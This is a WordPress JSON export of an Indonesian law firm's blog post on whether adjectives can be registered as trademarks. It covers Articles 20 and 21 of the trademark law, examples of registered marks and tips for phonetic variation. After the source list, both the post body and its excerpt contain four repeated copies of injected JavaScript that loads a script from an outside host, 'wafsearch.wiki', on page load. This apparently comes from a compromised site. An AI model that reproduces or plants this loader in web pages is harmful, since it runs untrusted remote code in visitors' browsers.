{"id":4392,"date":"2023-09-21T05:27:49","date_gmt":"2023-09-21T05:27:49","guid":{"rendered":"https:\/\/affa.co.id\/?p=4392"},"modified":"2023-09-21T05:27:49","modified_gmt":"2023-09-21T05:27:49","slug":"apakah-kata-sifat-bisa-didaftarkan-sebagai-merek","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/09\/21\/apakah-kata-sifat-bisa-didaftarkan-sebagai-merek\/","title":{"rendered":"Apakah Kata Sifat Bisa Didaftarkan Sebagai Merek?"},"content":{"rendered":"<h4>Apakah Kata Sifat Bisa Didaftarkan Sebagai Merek?<\/h4>\n<p><span style=\"font-weight: 500\">Agar unik dan memiliki nilai jual tinggi, terkadang pemilik bisnis ingin menambahkan Kata Sifat untuk Merek barang atau jasa yang mereka miliki. Makanya nama-nama seperti \u201cGaun Cantik\u201d, \u201cKopi Panas\u201d, \u201cMakan Enak\u201d, \u201cBawah Tangga\u201d, \u201cAtap Langit\u201d, \u201cSukses Mandiri\u201d, atau \u201cJaya Abadi\u201d jadi lazim kita temui sebagai penamaan usaha. Tapi apakah nama-nama tersebut dapat didaftarkan sebagai Merek?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Menurut<\/span><b> Kamus Besar Bahasa Indonesia (KBBI)<\/b><span style=\"font-weight: 500\">, Kata Sifat atau disebut juga adjektiva adalah kata yang bisa menerangkan nomina atau kata benda, yang secara umum bisa bergabung dengan kata \u201clebih\u201d dan \u201csangat.\u201d Selain beberapa kata yang sudah disebutkan di atas, contoh lain dari Kata Sifat adalah manis-asin, sedikit-banyak, tua-muda, kaya-miskin, besar-kecil, sedih-bahagia, jauh-dekat, dan masih banyak lagi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika kita merujuk pada <\/span><b>Undang-Undang (UU) Nomor 20 Tahun 2016 <\/b><span style=\"font-weight: 500\">tentang Merek dan Indikasi Geografis<\/span> <span style=\"font-weight: 500\">yang selanjutnya diubah oleh<\/span><b> UU Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti UU Nomor 2 Tahun 2022 tentang Cipta Kerja<\/b><span style=\"font-weight: 500\"> menjadi Undang-Undang, tidak ada ketentuan khusus yang melarang penggunaan Kata Sifat dalam sebuah Merek, selama itu dapat ditampilkan secara grafis dan memiliki daya pembeda dari Merek yang sudah terdaftar sebelumnya. Namun perlu dilihat juga apakah penggunaan Kata Sifat ini menjadi satu-satunya kata yang digunakan, atau hanya menjadi kata kedua yang berkaitan. Karena kalau benar demikian, akan bertentangan dengan Pasal 20 s\/d 21 UU Merek yang membuat Merek tersebut tidak dapat didaftarkan (Dasar Penolakan Absolut) dan ditolak (Dasar Penolakan Relatif), sebagai berikut:<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Dasar Penolakan Absolut (Pasal 20 UU Merek)<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Merek tidak dapat didaftarkan atau tidak layak menjadi Merek, jika:<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">a. Bertentangan dengan ideologi negara, peraturan perundang-undangan, moralitas, agama, kesusilaan, atau ketertiban umum. Contoh: Merek yang menyinggung SARA atau vulgar, seperti <\/span><b>\u201cBakar Makassar.\u201d<\/b><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">b. Sama dengan, berkaitan dengan, atau hanya menyebut barang dan\/atau jasa yang dimohonkan pendaftarannya. Contoh: \u201c<\/span><b>Dark Chocolate\u201d<\/b><span style=\"font-weight: 500\"> tidak dapat didaftarkan karena hanya menjelaskan tentang kualitas atau jenis cokelat. Aturan dari DJKI terkait dengan kata-kata yang hanya berkaitan dengan jenis barangnya, atau barangnya saja dalam satu kata, dalam hal ini <\/span><b>\u201cChocolate,\u201d<\/b><span style=\"font-weight: 500\"> harus tetap dapat digunakan oleh publik.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">c. Memuat unsur yang dapat menyesatkan masyarakat tentang asal, kualitas, jenis, ukuran, macam, tujuan penggunaan barang dan\/atau jasa yang dimohonkan pendaftarannya atau merupakan nama varietas tanaman yang dilindungi untuk barang dan\/atau jasa yang sejenis. Contoh: <\/span><b>\u201cSate Papua\u201d<\/b><span style=\"font-weight: 500\"> tapi berbahan baku Domba Garut, tidak dibuat oleh warga berdarah Papua, menggunakan resep Madura, dan dijual di wilayah Banten.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">d. Memuat keterangan yang tidak sesuai dengan kualitas, manfaat, atau khasiat dari barang dan\/atau jasa yang diproduksi. Contoh: <\/span><b>\u201cKerikil Enak.\u201d<\/b><b><\/b><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">e. Tidak memiliki daya pembeda. Contoh: Merek yang tidak memiliki keunikan atau terlalu sederhana, seperti <\/span><b>\u201cBubur Ayam.\u201d<\/b><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">f. Merupakan nama umum dan\/atau lambang milik umum. Contoh: Logo <\/span><b>\u201cP Coret\u201d<\/b><span style=\"font-weight: 500\"> yang berarti Dilarang Parkir, istilah <\/span><b>\u201cRumah Makan\u201d <\/b><span style=\"font-weight: 500\">untuk restoran, <\/span><b>\u201cWarung Kopi\u201d<\/b><span style=\"font-weight: 500\"> untuk <\/span><i><span style=\"font-weight: 500\">cafe<\/span><\/i><span style=\"font-weight: 500\">, atau<\/span><b> \u201cLambang Tengkorak\u201d <\/b><span style=\"font-weight: 500\">untuk tanda bahaya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">g. Mengandung bentuk yang bersifat fungsional. Contoh: Logo <\/span><b>\u201cSendok-Garpu\u201d<\/b><span style=\"font-weight: 500\"> untuk restoran.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Dasar Penolakan Relatif (Pasal 21 UU Merek)<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Setelah Merek-Merek tersebut dianggap layak, maka akan lanjut ke proses penyortiran selanjutnya, dengan kriteria sebagai berikut:\u00a0<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain atau dimohonkan lebih dahulu oleh pihak lain untuk barang dan\/atau jasa sejenis.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terkenal milik pihak lain untuk barang dan\/atau jasa sejenis.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terkenal milik pihak lain untuk barang dan\/atau jasa tidak sejenis yang memenuhi persyaratan tertentu.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Indikasi Geografis terdaftar.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merupakan atau menyerupai nama atau singkatan nama orang terkenal, foto, atau nama badan hukum yang dimiliki orang lain, kecuali atas persetujuan tertulis dari yang berhak.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merupakan tiruan atau menyerupai nama atau singkatan nama, bendera, lambang atau simbol atau emblem suatu negara, atau lembaga nasional maupun internasional, kecuali atas persetujuan tertulis dari pihak yang berwenang.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merupakan tiruan atau menyerupai tanda atau cap atau stempel resmi yang digunakan oleh negara atau lembaga Pemerintah, kecuali atas persetujuan tertulis dari pihak yang berwenang.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Permohonan ditolak jika diajukan oleh pemohon yang beriktikad tidak baik.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Untuk mengetahui apakah Merek Anda dapat lolos dari Dasar Penolakan Relatif, dimana memiliki persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain, Anda harus melakukan proses \u201cpenelusuran.\u201d Hanya dengan melakukan proses ini Anda dapat melihat pembanding yang nyata dan mendapatkan wawasan seberapa besar peluang Merek Anda diterima oleh<\/span><b> Direktorat Jenderal Kekayaan Intelektual (DJKI)<\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Beberapa contoh Merek yang mengandung Kata Sifat dan sudah terdaftar di DJKI adalah:<\/span><span style=\"font-weight: 500\"><br \/>\n<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">\u201cMakmur\u201d di kelas 30, terdaftar sejak 2009<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">\u201cKisah Bawah Tanah\u201d di kelas 41, terdaftar sejak 2019<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">\u201cMadu Enak\u201d di kelas 5, terdaftar sejak 2019<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">\u201cAtas Bawah\u201d di kelas 25, terdaftar sejak 2022<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">\u201cCantik\u201d di kelas 17, terdaftar sejak 2022<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika dalam proses penelusuran ditemukan persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain untuk barang dan\/atau jasa sejenis, Anda dapat melakukan pengembangan fonetik sebagai salah satu tips-nya. Contoh:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mengganti Kata Sifat \u201cMakmur\u201d menjadi \u201cMakmoor\u201d atau \u201cMakmore\u201d.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mengganti Kata Sifat \u201cEnak\u201d menjadi \u201cEnyaak\u201d atau \u201cEn@@k\u201d.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika Anda membutuhkan konsultasi lebih lanjut terkait pendaftaran Merek dan penamaannya agar terhindar dari penolakan, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:trademark@affa.co.id\">trademark@affa.co.id<\/a>.<\/span><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]<\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/peraturan.bpk.go.id\/Details\/37595\/uu-no-20-tahun-2016\"><span style=\"font-weight: 500\">Undang-Undang Republik Indonesia No. 20 Tahun 2016 Tentang Merek dan Indikasi Geografis<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/peraturan.bpk.go.id\/Details\/246523\/uu-no-6-tahun-2023\"><span style=\"font-weight: 500\">Undang-undang Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.youtube.com\/live\/RyPRNByjjXo?si=imM9Dh1R5rLUqhOV\"><span style=\"font-weight: 500\">IP Talks DJKI: Pentingnya Pendaftaran Merek Bagi Pelaku Usaha<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apakah Kata Sifat Bisa Didaftarkan Sebagai Merek? Agar unik dan memiliki nilai jual tinggi, terkadang pemilik bisnis ingin menambahkan Kata Sifat untuk Merek barang atau jasa yang mereka miliki. Makanya nama-nama seperti \u201cGaun Cantik\u201d, \u201cKopi Panas\u201d, \u201cMakan Enak\u201d, \u201cBawah Tangga\u201d, \u201cAtap Langit\u201d, \u201cSukses Mandiri\u201d, atau \u201cJaya Abadi\u201d jadi lazim kita temui sebagai penamaan usaha. Tapi apakah nama-nama tersebut dapat didaftarkan sebagai Merek? &nbsp; Menurut Kamus Besar Bahasa Indonesia (KBBI), Kata Sifat atau disebut juga adjektiva adalah kata yang bisa menerangkan nomina atau kata benda, yang secara umum bisa bergabung dengan kata \u201clebih\u201d dan \u201csangat.\u201d Selain beberapa kata yang sudah disebutkan di atas, contoh lain dari Kata Sifat adalah manis-asin, sedikit-banyak, tua-muda, kaya-miskin, besar-kecil, sedih-bahagia, jauh-dekat, dan masih banyak lagi. &nbsp; Jika kita merujuk pada Undang-Undang (UU) Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis yang selanjutnya diubah oleh UU Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti UU Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang, tidak ada ketentuan khusus yang melarang penggunaan Kata Sifat dalam sebuah Merek, selama itu dapat ditampilkan secara grafis dan memiliki daya pembeda dari Merek yang sudah terdaftar sebelumnya. Namun perlu dilihat juga apakah penggunaan Kata Sifat ini menjadi satu-satunya kata yang digunakan, atau hanya menjadi kata kedua yang berkaitan. Karena kalau benar demikian, akan bertentangan dengan Pasal 20 s\/d 21 UU Merek yang membuat Merek tersebut tidak dapat didaftarkan (Dasar Penolakan Absolut) dan ditolak (Dasar Penolakan Relatif), sebagai berikut: &nbsp; Dasar Penolakan Absolut (Pasal 20 UU Merek) Merek tidak dapat didaftarkan atau tidak layak menjadi Merek, jika: a. Bertentangan dengan ideologi negara, peraturan perundang-undangan, moralitas, agama, kesusilaan, atau ketertiban umum. Contoh: Merek yang menyinggung SARA atau vulgar, seperti \u201cBakar Makassar.\u201d &nbsp; b. Sama dengan, berkaitan dengan, atau hanya menyebut barang dan\/atau jasa yang dimohonkan pendaftarannya. Contoh: \u201cDark Chocolate\u201d tidak dapat didaftarkan karena hanya menjelaskan tentang kualitas atau jenis cokelat. Aturan dari DJKI terkait dengan kata-kata yang hanya berkaitan dengan jenis barangnya, atau barangnya saja dalam satu kata, dalam hal ini \u201cChocolate,\u201d harus tetap dapat digunakan oleh publik. &nbsp; c. Memuat unsur yang dapat menyesatkan masyarakat tentang asal, kualitas, jenis, ukuran, macam, tujuan penggunaan barang dan\/atau jasa yang dimohonkan pendaftarannya atau merupakan nama varietas tanaman yang dilindungi untuk barang dan\/atau jasa yang sejenis. Contoh: \u201cSate Papua\u201d tapi berbahan baku Domba Garut, tidak dibuat oleh warga berdarah Papua, menggunakan resep Madura, dan dijual di wilayah Banten. &nbsp; d. Memuat keterangan yang tidak sesuai dengan kualitas, manfaat, atau khasiat dari barang dan\/atau jasa yang diproduksi. Contoh: \u201cKerikil Enak.\u201d &nbsp; e. Tidak memiliki daya pembeda. Contoh: Merek yang tidak memiliki keunikan atau terlalu sederhana, seperti \u201cBubur Ayam.\u201d &nbsp; f. Merupakan nama umum dan\/atau lambang milik umum. Contoh: Logo \u201cP Coret\u201d yang berarti Dilarang Parkir, istilah \u201cRumah Makan\u201d untuk restoran, \u201cWarung Kopi\u201d untuk cafe, atau \u201cLambang Tengkorak\u201d untuk tanda bahaya. &nbsp; g. Mengandung bentuk yang bersifat fungsional. Contoh: Logo \u201cSendok-Garpu\u201d untuk restoran. &nbsp; Dasar Penolakan Relatif (Pasal 21 UU Merek) Setelah Merek-Merek tersebut dianggap layak, maka akan lanjut ke proses penyortiran selanjutnya, dengan kriteria sebagai berikut:\u00a0 Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain atau dimohonkan lebih dahulu oleh pihak lain untuk barang dan\/atau jasa sejenis. Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terkenal milik pihak lain untuk barang dan\/atau jasa sejenis. Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Merek terkenal milik pihak lain untuk barang dan\/atau jasa tidak sejenis yang memenuhi persyaratan tertentu. Mempunyai persamaan pada pokoknya atau keseluruhannya dengan Indikasi Geografis terdaftar. Merupakan atau menyerupai nama atau singkatan nama orang terkenal, foto, atau nama badan hukum yang dimiliki orang lain, kecuali atas persetujuan tertulis dari yang berhak. Merupakan tiruan atau menyerupai nama atau singkatan nama, bendera, lambang atau simbol atau emblem suatu negara, atau lembaga nasional maupun internasional, kecuali atas persetujuan tertulis dari pihak yang berwenang. Merupakan tiruan atau menyerupai tanda atau cap atau stempel resmi yang digunakan oleh negara atau lembaga Pemerintah, kecuali atas persetujuan tertulis dari pihak yang berwenang. Permohonan ditolak jika diajukan oleh pemohon yang beriktikad tidak baik. &nbsp; Untuk mengetahui apakah Merek Anda dapat lolos dari Dasar Penolakan Relatif, dimana memiliki persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain, Anda harus melakukan proses \u201cpenelusuran.\u201d Hanya dengan melakukan proses ini Anda dapat melihat pembanding yang nyata dan mendapatkan wawasan seberapa besar peluang Merek Anda diterima oleh Direktorat Jenderal Kekayaan Intelektual (DJKI). &nbsp; Beberapa contoh Merek yang mengandung Kata Sifat dan sudah terdaftar di DJKI adalah: \u201cMakmur\u201d di kelas 30, terdaftar sejak 2009 \u201cKisah Bawah Tanah\u201d di kelas 41, terdaftar sejak 2019 \u201cMadu Enak\u201d di kelas 5, terdaftar sejak 2019 \u201cAtas Bawah\u201d di kelas 25, terdaftar sejak 2022 \u201cCantik\u201d di kelas 17, terdaftar sejak 2022 &nbsp; Jika dalam proses penelusuran ditemukan persamaan pada pokoknya atau keseluruhannya dengan Merek terdaftar milik pihak lain untuk barang dan\/atau jasa sejenis, Anda dapat melakukan pengembangan fonetik sebagai salah satu tips-nya. Contoh: &nbsp; Mengganti Kata Sifat \u201cMakmur\u201d menjadi \u201cMakmoor\u201d atau \u201cMakmore\u201d. Mengganti Kata Sifat \u201cEnak\u201d menjadi \u201cEnyaak\u201d atau \u201cEn@@k\u201d. &nbsp; Jika Anda membutuhkan konsultasi lebih lanjut terkait pendaftaran Merek dan penamaannya agar terhindar dari penolakan, jangan ragu untuk menghubungi kami melalui trademark@affa.co.id. [dt_divider style=&#8221;thin&#8221; \/] Sumber: Undang-Undang Republik Indonesia No. 20 Tahun 2016 Tentang Merek dan Indikasi Geografis Undang-undang Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang IP Talks DJKI: Pentingnya Pendaftaran Merek Bagi Pelaku Usaha var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4396,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[305,307,308,309,310,314,315,318,363],"class_list":["post-4392","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-affa","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-trademark","tag-ipr"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4392","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4392"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4392\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4396"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}